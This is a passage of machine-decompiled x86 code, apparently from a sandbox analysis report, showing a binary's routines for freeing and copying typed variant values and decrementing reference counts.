															 *(_t1176 + 0x38) =  *(_t1731 + 4);
															 *(_t1731 + 4) = _t1176;
														}
														 *_t1731 =  *_t1731 + 1;
														_t1394 =  *((intOrPtr*)(_t1769 + 0x16c));
														_t1732 = _t1769 + 0x16c;
														_t1451 = _t1769;
														_v156 =  *((intOrPtr*)(_t1769 + 0xf4));
														E00EE9430(_t1769,  *((intOrPtr*)(_t1769 + 0xf4)), _t1851, _t1393 + 1); // executed
														__eflags = _t1394 -  *_t1732;
														if(_t1394 <  *_t1732) {
															do {
																E00EEC9E0(_t1394, _t1451, _t1732);
																__eflags = _t1394 -  *_t1732;
															} while (_t1394 <  *_t1732);
															goto L151;
														} else {
															L151:
															_t1733 = _t1769;
															 *((intOrPtr*)(_t1733 + 0xf4)) = _v156;
															_t1617 =  *((intOrPtr*)( *_t1733 + 4));
															__eflags =  *((char*)(_t1617 + _t1733 + 0xd));
															_t334 = _t1733 + 4; // 0x4
															_t997 =  *((intOrPtr*)(_t1617 + _t334 + 4));
															if( *((char*)(_t1617 + _t1733 + 0xd)) != 0) {
																_t997 =  *((intOrPtr*)(_t997 + 0x38));
															}
															__eflags =  *((char*)(_t997 + 0x10));
															if( *((char*)(_t997 + 0x10)) == 0) {
																_t1770 = _a12;
																 *_a16 = 0;
																E00EE9190(_t1733, _t1770);
																 *(_t1770 + 8) = 1;
																 *_t1770 = 0;
																goto L166;
															} else {
																 *_a16 = 1;
																_t1158 =  *((intOrPtr*)( *_t1733 + 4));
																__eflags =  *((char*)(_t1158 + _t1733 + 0xd));
																_t1159 = _t1158 + _t1733 + 4;
																if( *((char*)(_t1158 + _t1733 + 0xd)) != 0) {
																	_t1777 =  *( *(_t1159 + 4) + 0x38);
																} else {
																	_t1777 =  *(_t1159 + 4);
																}
																_t1403 = _a12;
																__eflags = _t1403 - _t1777;
																if(_t1403 == _t1777) {
																	L166:
																	_t1453 =  *_t1733;
																	_t1618 =  *((intOrPtr*)( *_t1733 + 4));
																	__eflags =  *((char*)(_t1618 + _t1733 + 0xd));
																	_t1000 =  *((intOrPtr*)(_t1618 + _t1733 + 8));
																	_t1771 = _t1618 + _t1733 + 4;
																	if( *((char*)(_t1618 + _t1733 + 0xd)) != 0) {
																		_t1000 =  *((intOrPtr*)(_t1000 + 0x38));
																	}
																	__eflags =  *((char*)(_t1000 + 0x18));
																	if( *((char*)(_t1000 + 0x18)) != 0) {
																		_t1002 = E00EE3EF0(_t1771);
																		_t1453 =  *((intOrPtr*)(_t1002 + 0x14));
																		_v80 =  *((intOrPtr*)(_t1002 + 0x14));
																	}
																	__eflags =  *((char*)(_t1771 + 9));
																	if( *((char*)(_t1771 + 9)) != 0) {
																		_t1003 =  *((intOrPtr*)( *((intOrPtr*)(_t1771 + 4)) + 0x38));
																	} else {
																		_t1003 =  *((intOrPtr*)(_t1771 + 4));
																	}
																	__eflags =  *((char*)(_t1003 + 0x30));
																	if( *((char*)(_t1003 + 0x30)) != 0) {
																		E00EE90D0( &_v68, _t1453, E00EE3EF0(_t1771) + 0x20);
																	}
																	_t1396 = _a4;
																	_t1454 =  *((intOrPtr*)( *_t1396 + 4));
																	__eflags =  *((char*)(_t1454 + _t1396 + 0xd));
																	_t1734 = _t1454 + _t1396 + 4;
																	if( *((char*)(_t1454 + _t1396 + 0xd)) != 0) {
																		_t1009 =  *(_t1734 + 4);
																		_t1771 =  *(_t1009 + 0x38);
																		__eflags = _t1009;
																		if(_t1009 != 0) {
																			E00F2CC67(_t1009);
																		}
																		 *(_t1734 + 4) = _t1771;
																		 *((char*)(_t1734 + 9)) = 0;
																	}
																	__eflags =  *((char*)(_t1734 + 8));
																	if( *((char*)(_t1734 + 8)) != 0) {
																		 *((char*)(_t1734 + 9)) = 1;
																		goto L190;
																	} else {
																		_t1771 =  *(_t1734 + 4);
																		_v156 =  *((intOrPtr*)(_t1771 + 0x38));
																		__eflags = _t1771;
																		if(_t1771 == 0) {
																			L189:
																			 *(_t1734 + 4) = _v156;
																			 *((char*)(_t1734 + 9)) = 0;
																			L190:
																			 *_t1734 =  *_t1734 - 1;
																			_t1011 =  *((intOrPtr*)( *_t1396 + 4));
																			_t1455 =  *((intOrPtr*)(_t1011 + _t1396 + 8));
																			_t1012 = _t1011 + _t1396;
																			__eflags =  *((char*)(_t1012 + 0xd));
																			if( *((char*)(_t1012 + 0xd)) != 0) {
																				_t1455 =  *((intOrPtr*)(_t1455 + 0x38));
																			}
																			 *((intOrPtr*)(_t1455 + 0x14)) = _v80;
																			__eflags =  *((char*)(_t1012 + 0xd));
																			_t1013 =  *((intOrPtr*)(_t1012 + 8));
																			if( *((char*)(_t1012 + 0xd)) != 0) {
																				_t1013 =  *((intOrPtr*)(_t1013 + 0x38));
																			}
																			 *((char*)(_t1013 + 0x18)) = 0;
																			_t1015 =  *((intOrPtr*)( *_t1396 + 4)) + _t1396;
																			__eflags =  *((char*)(_t1015 + 0xd));
																			_v156 = _t1015;
																			if( *((char*)(_t1015 + 0xd)) != 0) {
																				_t1016 =  *((intOrPtr*)( *((intOrPtr*)(_t1015 + 8)) + 0x38));
																			} else {
																				_t1016 =  *((intOrPtr*)(_t1015 + 8));
																			}
																			_t406 = _t1016 + 0x20; // 0x21
																			_t1397 = _t406;
																			__eflags = _t1397 -  &_v68;
																			if(_t1397 ==  &_v68) {
																				L204:
																				_t1735 = _v124;
																				goto L205;
																			} else {
																				_t1109 =  *(_t1397 + 0xc);
																				__eflags = _t1109;
																				if(_t1109 != 0) {
																					E00F2651E(_t1109);
																					 *(_t1397 + 0xc) = 0;
																				}
																				_t1111 =  *((intOrPtr*)(_t1397 + 8));
																				__eflags = _t1111 - 8;
																				if(_t1111 == 8) {
																					_t1474 =  *_t1397;
																					__eflags = _t1474;
																					if(_t1474 == 0) {
																						goto L197;
																					}
																					__imp__#9(_t1474);
																					_push( *_t1397);
																					E00EF10FC();
																					_t1809 = _t1809 + 4;
																					goto L201;
																				} else {
																					L197:
																					__eflags = _t1111 - 0xa;
																					if(_t1111 == 0xa) {
																						_t1112 =  *_t1397;
																						__eflags = _t1112;
																						if(_t1112 != 0) {
																							E00F230B0(_t1112);
																						}
																					} else {
																						__eflags = _t1111 - 5;
																						if(_t1111 == 5) {
																							E00EEE470(_t1397, _t1771);
																						} else {
																							__eflags = _t1111 - 0xb;
																							if(_t1111 == 0xb) {
																								_push( *((intOrPtr*)( *_t1397 + 4)));
																								E00EF10FC();
																								_push( *_t1397);
																								E00EF10FC();
																								_t1809 = _t1809 + 8;
																							} else {
																								__eflags = _t1111 - 0xc;
																								if(_t1111 == 0xc) {
																									_t1123 =  *_t1397;
																									__eflags = _t1123;
																									if(_t1123 != 0) {
																										E00F2B350(_t1123);
																									}
																								}
																							}
																						}
																					}
																					L201:
																					_t1113 = _v60;
																					 *_t1397 = 0;
																					 *((intOrPtr*)(_t1397 + 8)) = _t1113;
																					__eflags = _t1113 - 1;
																					if(_t1113 != 1) {
																						_t1114 = _t1113 - 1;
																						__eflags = _t1114 - 0xb;
																						if(__eflags > 0) {
																							goto L204;
																						}
																						switch( *((intOrPtr*)(_t1114 * 4 +  &M00F0AE92))) {
																							case 0:
																								goto L202;
																							case 1:
																								 *_t1397 = _v68;
																								 *((intOrPtr*)(_t1397 + 4)) = _v64;
																								goto L204;
																							case 2:
																								__fp0 = _v68;
																								 *__ebx = _v68;
																								goto L204;
																							case 3:
																								_push(0x10);
																								__eax = E00EF14F7(__edi, __esi, __eflags);
																								__esp = __esp + 4;
																								__eflags = __eax;
																								if(__eax == 0) {
																									__eax = 0;
																									__ebx[3] = 0;
																								} else {
																									__ecx = _v56;
																									__edx =  *__ecx;
																									 *__eax =  *__ecx;
																									__edx =  *(__ecx + 4);
																									 *(__eax + 4) =  *(__ecx + 4);
																									__edx =  *(__ecx + 8);
																									 *(__eax + 8) =  *(__ecx + 8);
																									__ecx =  *(__ecx + 0xc);
																									 *(__eax + 0xc) = __ecx;
																									 *__ecx =  *__ecx + 1;
																									__ebx[3] = __eax;
																								}
																								goto L204;
																							case 4:
																								_push(0x214);
																								__eax = E00EF14F7(__edi, __esi, __eflags);
																								__esp = __esp + 4;
																								__eflags = __eax;
																								if(__eax == 0) {
																									__eax = 0;
																									__eflags = 0;
																								} else {
																									__esi = _v68;
																									__ecx = 0x85;
																									__edi = __eax;
																									__eax = memcpy(__eax, __esi, 0x85 << 2);
																									__esi + __ecx = __esi + __ecx + __ecx;
																									__ecx = 0;
																								}
																								__edi = _v124;
																								 *__ebx = __eax;
																								__eflags =  *(__eax + 4);
																								if( *(__eax + 4) != 0) {
																									__eax =  *(__eax + 4);
																									 *__eax =  *__eax + 1;
																								}
																								L205:
																								_t1018 = _v156;
																								__eflags =  *((char*)(_t1018 + 0xd));
																								if( *((char*)(_t1018 + 0xd)) != 0) {
																									_t1019 =  *((intOrPtr*)( *((intOrPtr*)(_t1018 + 8)) + 0x38));
																								} else {
																									_t1019 =  *((intOrPtr*)(_t1018 + 8));
																								}
																								 *((char*)(_t1019 + 0x30)) = 0;
																								__eflags =  *0xf87f3d;
																								if( *0xf87f3d != 0) {
																									_t1020 =  *0xf87f38; // 0x0
																									_t1771 =  *(_t1020 + 8);
																									E00F4FE4A(_t1397, _t1735, _t1020);
																									_t1458 =  *(_t1020 + 8);
																									 *0xf87f38 = _t1458;
																									 *0xf87f3d = 0;
																								} else {
																									_t1458 =  *0xf87f38; // 0x0
																								}
																								__eflags =  *0xf87f3c;
																								if( *0xf87f3c != 0) {
																									_t1398 = _v128;
																									 *0xf87f3d = 1;
																									goto L229;
																								} else {
																									_t1771 =  *_t1458;
																									_v160 = _t1458[2];
																									_v156 = _t1458;
																									__eflags = _t1771;
																									if(_t1771 == 0) {
																										L228:
																										_t1398 = _v128;
																										_push(_v156);
																										E00EF10FC();
																										_t1809 = _t1809 + 4;
																										 *0xf87f38 = _v160;
																										 *0xf87f3d = 0;
																										L229:
																										 *0xf87f34 =  *0xf87f34 - 1;
																										 *((intOrPtr*)(_a4 + 0x148)) = _v8;
																										_t1023 = _v56;
																										__eflags = _t1023;
																										if(_t1023 != 0) {
																											E00F2651E(_t1023);
																											_v60 = 0;
																										}
																										_t1025 = _v60;
																										__eflags = _t1025 - 8;
																										if(_t1025 == 8) {
																											_t1772 = _v68;
																											__eflags = _t1772;
																											if(_t1772 != 0) {
																												_push(_t1772);
																												__imp__#9();
																												_push(_t1772);
																												E00EF10FC();
																												_t1809 = _t1809 + 4;
																											}
																										} else {
																											__eflags = _t1025 - 0xa;
																											if(_t1025 == 0xa) {
																												_t1073 = _v68;
																												__eflags = _t1073;
																												if(_t1073 != 0) {
																													E00F230B0(_t1073);
																												}
																											} else {
																												__eflags = _t1025 - 5;
																												if(_t1025 == 5) {
																													E00EEE470( &_v68, _t1771);
																												} else {
																													__eflags = _t1025 - 0xb;
																													if(_t1025 == 0xb) {
																														_t1776 = _v68;
																														_push( *((intOrPtr*)(_t1776 + 4)));
																														E00EF10FC();
																														_push(_t1776);
																														E00EF10FC();
																														_t1809 = _t1809 + 8;
																													} else {
																														__eflags = _t1025 - 0xc;
																														if(_t1025 == 0xc) {
																															_t1079 = _v68;
																															__eflags = _t1079;
																															if(_t1079 != 0) {
																																E00F2B350(_t1079);
																															}
																														}
																													}
																												}
																											}
																										}
																										_t1026 = _v88;
																										_t1773 = _v92;
																										_t1460 = 0;
																										_v60 = 1;
																										_v68 = 0;
																										__eflags = _t1026;
																										if(_t1026 != 0) {
																											E00F2651E(_t1026);
																											_v92 = 0;
																											_t1623 = 1;
																											_t1460 = 0;
																										}
																										__eflags = _t1773 - 8;
																										if(_t1773 == 8) {
																											__eflags = _v100 - _t1460;
																											if(_v100 != _t1460) {
																												_t1773 = _v100;
																												_push(_t1773);
																												__imp__#9();
																												_push(_t1773);
																												E00EF10FC();
																												_t1809 = _t1809 + 4;
																												_t1623 = 1;
																												_t1460 = 0;
																											}
																										} else {
																											__eflags = _t1773 - 0xa;
																											if(_t1773 == 0xa) {
																												__eflags = _v100 - _t1460;
																												if(_v100 != _t1460) {
																													E00F230B0(_v100);
																													_t1623 = 1;
																													_t1460 = 0;
																												}
																											} else {
																												__eflags = _t1773 - 5;
																												if(_t1773 == 5) {
																													E00EEE470( &_v100, _t1773);
																													_t1623 = 1;
																													_t1460 = 0;
																												} else {
																													__eflags = _t1773 - 0xb;
																													if(_t1773 == 0xb) {
																														_t1773 = _v100;
																														_push( *((intOrPtr*)(_t1773 + 4)));
																														E00EF10FC();
																														_push(_t1773);
																														E00EF10FC();
																														_t1809 = _t1809 + 8;
																														_t1623 = 1;
																														_t1460 = 0;
																													} else {
																														__eflags = _t1773 - 0xc;
																														if(_t1773 == 0xc) {
																															__eflags = _v100 - _t1460;
																															if(_v100 != _t1460) {
																																E00F2B350(_v100);
																																_t1623 = 1;
																																_t1460 = 0;
																															}
																														}
																													}
																												}
																											}
																										}
																										_t1028 = _v184;
																										__eflags = _t1028 - _t1460;
																										if(_t1028 != _t1460) {
																											E00F2651E(_t1028);
																											_v188 = 0;
																											_t1623 = 1;
																											_t1460 = 0;
																										}
																										_t1030 = _v188;
																										__eflags = _t1030 - 8;
																										if(_t1030 == 8) {
																											_t1031 = _v196;
																											__eflags = _t1031 - _t1460;
																											if(_t1031 != _t1460) {
																												_push(_t1031);
																												__imp__#9();
																												_push(_v200);
																												E00EF10FC();
																												_t1809 = _t1809 + 4;
																												_t1623 = 1;
																												_t1460 = 0;
																											}
																										} else {
																											__eflags = _t1030 - 0xa;
																											if(_t1030 == 0xa) {
																												_t1055 = _v196;
																												__eflags = _t1055 - _t1460;
																												if(_t1055 != _t1460) {
																													E00F230B0(_t1055);
																													_t1623 = 1;
																													_t1460 = 0;
																												}
																											} else {
																												__eflags = _t1030 - 5;
																												if(_t1030 == 5) {
																													E00EEE470( &_v196, _t1773);
																													_t1623 = 1;
																													_t1460 = 0;
																												} else {
																													__eflags = _t1030 - 0xb;
																													if(_t1030 == 0xb) {
																														_push( *(_v196 + 4));
																														E00EF10FC();
																														_push(_v196);
																														E00EF10FC();
																														_t1809 = _t1809 + 8;
																														_t1623 = 1;
																														_t1460 = 0;
																													} else {
																														__eflags = _t1030 - 0xc;
																														if(_t1030 == 0xc) {
																															_t1062 = _v196;
																															__eflags = _t1062 - _t1460;
																															if(_t1062 != _t1460) {
																																E00F2B350(_t1062);
																																_t1623 = 1;
																																_t1460 = 0;
																															}
																														}
																													}
																												}
																											}
																										}
																										_v188 = _t1623;
																										_v196 = _t1460;
																										__eflags = _t1735 - _t1460;
																										if(_t1735 <= _t1460) {
																											L250:
																											_push(_v128);
																											E00EF10FC();
																											_t1811 = _t1809 + 4;
																											__eflags = _v172;
																											if(_v172 <= 0) {
																												L263:
																												_push(_v176);
																												E00EF10FC();
																												_t946 = 0;
																												__eflags = 0;
																												goto L264;
																											} else {
																												_t1399 = 0;
																												__eflags = 0;
																												do {
																													_t1774 =  *(_v176 + _t1399 * 4);
																													__eflags = _t1774;
																													if(_t1774 == 0) {
																														goto L262;
																													}
																													_t1736 =  *(_t1774 + 0xc);
																													__eflags = _t1736;
																													if(_t1736 != 0) {
																														 *( *(_t1736 + 0xc)) =  *( *(_t1736 + 0xc)) - 1;
																														__eflags =  *( *(_t1736 + 0xc));
																														if( *( *(_t1736 + 0xc)) == 0) {
																															_push( *_t1736);
																															E00EF10FC();
																															_push( *(_t1736 + 0xc));
																															E00EF10FC();
																															_t1811 = _t1811 + 8;
																														}
																														_push(_t1736);
																														E00EF10FC();
																														_t1811 = _t1811 + 4;
																														 *(_t1774 + 0xc) = 0;
																													}
																													_t1035 =  *(_t1774 + 8);
																													__eflags = _t1035 - 8;
																													if(_t1035 == 8) {
																														_t1461 =  *_t1774;
																														__eflags = _t1461;
																														if(_t1461 == 0) {
																															goto L257;
																														}
																														_push(_t1461);
																														__imp__#9();
																														_push( *_t1774);
																														E00EF10FC();
																														_t1811 = _t1811 + 4;
																														goto L261;
																													} else {
																														L257:
																														__eflags = _t1035 - 0xa;
																														if(_t1035 == 0xa) {
																															_t1036 =  *_t1774;
																															__eflags = _t1036;
																															if(_t1036 != 0) {
																																E00F230B0(_t1036);
																															}
																														} else {
																															__eflags = _t1035 - 5;
																															if(_t1035 == 5) {
																																E00EEE470(_t1774, _t1774);
																															} else {
																																__eflags = _t1035 - 0xb;
																																if(_t1035 == 0xb) {
																																	_push( *((intOrPtr*)( *_t1774 + 4))); // executed
																																	E00EF10FC(); // executed
																																	_push( *_t1774);
																																	E00EF10FC();
																																	_t1811 = _t1811 + 8;
																																} else {
																																	__eflags = _t1035 - 0xc;
																																	if(_t1035 == 0xc) {
																																		_t1044 =  *_t1774;
																																		__eflags = _t1044;
																																		if(_t1044 != 0) {
																																			E00F2B350(_t1044);
																																		}
																																	}
																																}
																															}
																														}
																														L261:
																														_push(_t1774);
																														 *(_t1774 + 8) = 1;
																														 *_t1774 = 0;
																														E00EF10FC();
																														_t1811 = _t1811 + 4;
																													}
																													L262:
																													_t1399 = _t1399 + 1;
																													__eflags = _t1399 - _v172;
																												} while (_t1399 < _v172);
																												goto L263;
																											}
																										} else {
																											_t1775 = 0;
																											__eflags = 0;
																											do {
																												_push( *((intOrPtr*)(_t1398 + _t1775 * 4)));
																												E00EF10FC();
																												_t1775 = _t1775 + 1;
																												_t1809 = _t1809 + 4;
																												__eflags = _t1775 - _t1735;
																											} while (_t1775 < _t1735);
																											goto L250;
																										}
																									} else {
																										_t1082 =  *(_t1771 + 0x18);
																										_t1400 = _t1458;
																										__eflags = _t1082;
																										if(_t1082 != 0) {
																											E00EEB650(_t1400, _t1458, _t1735, _t1082); // executed
																										}
																										_t1083 =  *(_t1771 + 0x1c);
																										__eflags = _t1083;
																										if(_t1083 != 0) {
																											E00EEB650(_t1400, _t1400, _t1735, _t1083); // executed
																										}
																										__eflags =  *((char*)(_t1771 + 0x10));
																										if( *((char*)(_t1771 + 0x10)) != 0) {
																											L225:
																											 *( *(_t1771 + 0xc)) =  *( *(_t1771 + 0xc)) - 1;
																											__eflags =  *( *(_t1771 + 0xc));
																											if( *( *(_t1771 + 0xc)) == 0) {
																												_push( *_t1771);
																												E00EF10FC();
																												_push( *(_t1771 + 0xc));
																												E00EF10FC();
																												_t1809 = _t1809 + 8;
																											}
																											_push(_t1771);
																											E00EF10FC();
																											_t1735 = _v124;
																											_t1809 = _t1809 + 4;
																											goto L228;
																										} else {
																											_t1401 =  *(_t1771 + 0x14);
																											__eflags = _t1401;
																											if(_t1401 == 0) {
																												goto L225;
																											}
																											_t1737 =  *(_t1401 + 0xc);
																											__eflags = _t1737;
																											if(_t1737 != 0) {
																												 *( *(_t1737 + 0xc)) =  *( *(_t1737 + 0xc)) - 1;
																												__eflags =  *( *(_t1737 + 0xc));
																												if( *( *(_t1737 + 0xc)) == 0) {
																													_push( *_t1737);
																													E00EF10FC();
																													_push( *(_t1737 + 0xc));
																													E00EF10FC();
																													_t1809 = _t1809 + 8;
																												}
																												_push(_t1737);
																												E00EF10FC();
																												_t1809 = _t1809 + 4;
																												 *(_t1401 + 0xc) = 0;
																											}
																											_t1090 =  *(_t1401 + 8);
																											__eflags = _t1090 - 8;
																											if(_t1090 == 8) {
																												_t1471 =  *_t1401;
																												__eflags = _t1471;
																												if(_t1471 == 0) {
																													goto L220;
																												}
																												_push(_t1471);
																												__imp__#9();
																												_push( *_t1401);
																												E00EF10FC();
																												_t1809 = _t1809 + 4;
																												goto L224;
																											} else {
																												L220:
																												__eflags = _t1090 - 0xa;
																												if(_t1090 == 0xa) {
																													_t1091 =  *_t1401;
																													__eflags = _t1091;
																													if(_t1091 != 0) {
																														E00F230B0(_t1091);
																													}
																												} else {
																													__eflags = _t1090 - 5;
																													if(_t1090 == 5) {
																														E00EEE470(_t1401, _t1771);
																													} else {
																														__eflags = _t1090 - 0xb;
																														if(_t1090 == 0xb) {
																															_push( *((intOrPtr*)( *_t1401 + 4))); // executed
																															E00EF10FC(); // executed
																															_push( *_t1401);
																															E00EF10FC();
																															_t1809 = _t1809 + 8;
																														} else {
																															__eflags = _t1090 - 0xc;
																															if(_t1090 == 0xc) {
																																_t1099 =  *_t1401;
																																__eflags = _t1099;
																																if(_t1099 != 0) {
																																	E00F2B350(_t1099); // executed
																																}
																															}
																														}
																													}
																												}
																												L224:
																												_push(_t1401);
																												 *(_t1401 + 8) = 1;
																												 *_t1401 = 0;
																												E00EF10FC();
																												_t1809 = _t1809 + 4;
																												goto L225;
																											}
																										}
																									}
																								}
																							case 5:
																								__ecx = _v68;
																								 *__ebx = __ecx;
																								goto L204;
																							case 6:
																								__esi = _v68;
																								__eflags = __esi;
																								if(__eflags != 0) {
																									_push(0x10);
																									__eax = E00EF14F7(__edi, __esi, __eflags);
																									__esp = __esp + 4;
																									_push(__eax);
																									 *__ebx = __eax;
																									__imp__#8();
																									__edx =  *__ebx;
																									_push(__esi);
																									_push( *__ebx);
																									__imp__#10();
																									__eflags = __eax;
																									if(__eax < 0) {
																										__eax =  *__ebx;
																										_push( *__ebx);
																										__imp__#9();
																										__ecx =  *__ebx;
																										_push( *__ebx);
																										__eax = E00EF10FC();
																										__esp = __esp + 4;
																										 *__ebx = 0;
																									}
																								}
																								goto L204;
																							case 7:
																								 *__ebx = _v68;
																								goto L204;
																							case 8:
																								_push(0x18);
																								__eax = E00EF14F7(__edi, __esi, __eflags);
																								__esp = __esp + 4;
																								__eflags = __eax;
																								if(__eax == 0) {
																									goto L567;
																								}
																								__ecx = _v68;
																								__eax = E00F2B82F(__eax, _v68);
																								goto L203;
																							case 9:
																								_push(8);
																								__eax = E00EF14F7(__edi, __esi, __eflags);
																								__esi = _v68;
																								 *__ebx = __eax;
																								__edx =  *__esi;
																								 *__eax =  *__esi;
																								__eax =  *__ebx;
																								__eax =  *( *__ebx);
																								__esp = __esp + 4;
																								__eflags = __eax;
																								if(__eflags == 0) {
																									_push(1);
																									__eax = E00EF14F7(__edi, __esi, __eflags);
																									__edx =  *__ebx;
																									 *( *__ebx + 4) = __eax;
																									__eax =  *__ebx;
																									__ecx =  *(__eax + 4);
																									__esp = __esp + 4;
																									 *__ecx = 0;
																								} else {
																									_push(__eax);
																									__eax = E00EF14F7(__edi, __esi, __eflags);
																									__ecx =  *__ebx;
																									 *( *__ebx + 4) = __eax;
																									__ebx =  *__ebx;
																									__edx =  *__ebx;
																									__eax =  *(__esi + 4);
																									__ecx = __ebx[1];
																									__esp = __esp + 4;
																									__eax = E00EF0D80(__ebx[1],  *(__esi + 4),  *__ebx);
																								}
																								goto L204;
																							case 0xa:
																								_push(0x14);
																								__eax = E00EF14F7(__edi, __esi, __eflags);
																								__esp = __esp + 4;
																								__eflags = __eax;
																								if(__eax == 0) {
																									L567:
																									__eax = 0;
																									L203:
																									 *_t1397 = _t1116;
																									goto L204;
																								}
																								__edx = _v68;
																								__eax = E00F5082A(__eax, _v68);
																								goto L203;
																						}
																					}
																					L202:
																					_t1116 = _v68;
																					goto L203;
																				}
																			}
																		}
																		_t1126 =  *(_t1771 + 0x2c);
																		__eflags = _t1126;
																		if(_t1126 != 0) {
																			E00F2651E(_t1126);
																			 *(_t1771 + 0x2c) = 0;
																		}
																		_t1128 =  *(_t1771 + 0x28);
																		__eflags = _t1128 - 8;
																		if(_t1128 == 8) {
																			_t1477 =  *(_t1771 + 0x20);
																			__eflags = _t1477;
																			if(_t1477 == 0) {
																				goto L176;
																			}
																			__imp__#9(_t1477);
																			_push( *(_t1771 + 0x20));
																			E00EF10FC();
																			_t1809 = _t1809 + 4;
																			goto L180;
																		} else {
																			L176:
																			__eflags = _t1128 - 0xa;
																			if(_t1128 == 0xa) {
																				_t1129 =  *(_t1771 + 0x20);
																				__eflags = _t1129;
																				if(_t1129 != 0) {
																					E00F230B0(_t1129);
																				}
																			} else {
																				__eflags = _t1128 - 5;
																				if(_t1128 == 5) {
																					_t851 = _t1771 + 0x20; // 0x67
																					E00EEE470(_t851, _t1771);
																				} else {
																					__eflags = _t1128 - 0xb;
																					if(_t1128 == 0xb) {
																						_push( *((intOrPtr*)( *(_t1771 + 0x20) + 4)));
																						E00EF10FC();
																						_push( *(_t1771 + 0x20));
																						E00EF10FC();
																						_t1809 = _t1809 + 8;
																					} else {
																						__eflags = _t1128 - 0xc;
																						if(_t1128 == 0xc) {
																							_t1153 =  *(_t1771 + 0x20);
																							__eflags = _t1153;
																							if(_t1153 != 0) {
																								E00F2B350(_t1153);
																							}
																						}
																					}
																				}
																			}
																			L180:
																			 *(_t1771 + 0x28) = 1;
																			 *(_t1771 + 0x20) = 0;
																			_t1402 =  *(_t1771 + 0xc);
																			__eflags = _t1402;
																			if(_t1402 != 0) {
																				 *( *(_t1402 + 0xc)) =  *( *(_t1402 + 0xc)) - 1;
																				__eflags =  *( *(_t1402 + 0xc));
																				if( *( *(_t1402 + 0xc)) == 0) {
																					_push( *_t1402);
																					E00EF10FC();
																					_push( *(_t1402 + 0xc));
																					E00EF10FC();
																					_t1809 = _t1809 + 8;
																				}
																				_push(_t1402);
																				E00EF10FC();
																				_t1809 = _t1809 + 4;
																				 *(_t1771 + 0xc) = 0;
																			}
																			_t1130 =  *(_t1771 + 8);
																			__eflags = _t1130 - 8;
																			if(_t1130 == 8) {
																				_t1478 =  *_t1771;
																				__eflags = _t1478;
																				if(_t1478 == 0) {
																					goto L184;
																				}
																				__imp__#9(_t1478);
																				_push( *_t1771);
																				E00EF10FC();
																				_t1809 = _t1809 + 4;
																				goto L188;
																			} else {
																				L184:
																				__eflags = _t1130 - 0xa;
																				if(_t1130 == 0xa) {
																					_t1131 =  *_t1771;
																					__eflags = _t1131;
																					if(_t1131 != 0) {
																						E00F230B0(_t1131);
																					}
																				} else {
																					__eflags = _t1130 - 5;
																					if(_t1130 == 5) {
																						E00EEE470(_t1771, _t1771);
																					} else {
																						__eflags = _t1130 - 0xb;
																						if(_t1130 == 0xb) {
																							_push( *((intOrPtr*)( *_t1771 + 4))); // executed
																							E00EF10FC(); // executed
																							_push( *_t1771);
																							E00EF10FC();
																							_t1809 = _t1809 + 8;
																						} else {
																							__eflags = _t1130 - 0xc;
																							if(_t1130 == 0xc) {
																								_t1139 =  *_t1771;
																								__eflags = _t1139;
																								if(_t1139 != 0) {
																									E00F2B350(_t1139);
																								}
																							}
																						}
																					}
																				}
																				L188:
																				_push(_t1771);
																				 *(_t1771 + 8) = 1;
																				 *_t1771 = 0;
																				E00EF10FC();
																				_t1396 = _a4;
																				_t1809 = _t1809 + 4;
																				goto L189;
																			}
																		}
																	}
																} else {
																	_t1160 =  *(_t1403 + 0xc);
																	__eflags = _t1160;
																	if(_t1160 != 0) {
																		E00F2651E(_t1160);
																		 *(_t1403 + 0xc) = 0;
																	}
																	_t1162 =  *(_t1403 + 8);
																	__eflags = _t1162 - 8;
																	if(_t1162 == 8) {
																		_t1485 =  *_t1403;
																		__eflags = _t1485;
																		if(_t1485 == 0) {
																			goto L158;
																		}
																		__imp__#9(_t1485);
																		_push( *_t1403);
																		E00EF10FC();
																		_t1809 = _t1809 + 4;
																		goto L162;
																	} else {
																		L158:
																		__eflags = _t1162 - 0xa;
																		if(_t1162 == 0xa) {
																			_t1163 =  *_t1403;
																			__eflags = _t1163;
																			if(_t1163 != 0) {
																				E00F230B0(_t1163);
																			}
																		} else {
																			__eflags = _t1162 - 5;
																			if(_t1162 == 5) {
																				E00EEE470(_t1403, _t1777);
																			} else {
																				__eflags = _t1162 - 0xb;
																				if(_t1162 == 0xb) {
																					_push( *((intOrPtr*)( *_t1403 + 4)));
																					E00EF10FC();
																					_push( *_t1403);
																					E00EF10FC();
																					_t1809 = _t1809 + 8;
																				} else {
																					__eflags = _t1162 - 0xc;
																					if(_t1162 == 0xc) {
																						_t1173 =  *_t1403;
																						__eflags = _t1173;
																						if(_t1173 != 0) {
																							E00F2B350(_t1173);
																						}
																					}
																				}
																			}
																		}
																		L162:
																		 *(_t1403 + 8) = 1;
																		 *_t1403 = 0;
																		_t1164 =  *(_t1777 + 8);
																		 *(_t1403 + 8) = _t1164;
																		__eflags = _t1164 - 4;
																		if(__eflags != 0) {
																			_t1165 = _t1164 - 1;
																			__eflags = _t1165 - 0xb;
																			if(__eflags > 0) {
																				goto L166;
																			}
																			switch( *((intOrPtr*)(_t1165 * 4 +  &M00F0AE62))) {
																				case 0:
																					__eax =  *__esi;
																					 *__ebx = __eax;
																					goto L166;
																				case 1:
																					 *_t1403 =  *_t1777;
																					 *((intOrPtr*)(_t1403 + 4)) =  *((intOrPtr*)(_t1777 + 4));
																					goto L166;
																				case 2:
																					__fp0 =  *__esi;
																					 *__ebx =  *__esi;
																					goto L166;
																				case 3:
																					goto L163;
																				case 4:
																					_push(0x214);
																					__eax = E00EF14F7(__edi, __esi, __eflags);
																					__esp = __esp + 4;
																					__eflags = __eax;
																					if(__eax == 0) {
																						__eax = 0;
																						__eflags = 0;
																					} else {
																						__esi =  *__esi;
																						__ecx = 0x85;
																						__edi = __eax;
																						__eax = memcpy(__eax, __esi, 0x85 << 2);
																						__esi + __ecx = __esi + __ecx + __ecx;
																						__ecx = 0;
																					}
																					 *__ebx = __eax;
																					__eflags =  *(__eax + 4);
																					if( *(__eax + 4) != 0) {
																						__eax =  *(__eax + 4);
																						 *__eax =  *__eax + 1;
																						__eflags =  *__eax;
																					}
																					goto L495;
																				case 5:
																					__ecx =  *__esi;
																					 *__ebx = __ecx;
																					goto L166;
																				case 6:
																					__eflags =  *__esi;
																					if(__eflags == 0) {
																						L495:
																						__edi = _a4;
																						goto L166;
																					}
																					_push(0x10);
																					__eax = E00EF14F7(__edi, __esi, __eflags);
																					__esp = __esp + 4;
																					_push(__eax);
																					 *__ebx = __eax;
																					__imp__#8();
																					__edx =  *__esi;
																					__eax =  *__ebx;
																					_push( *__esi);
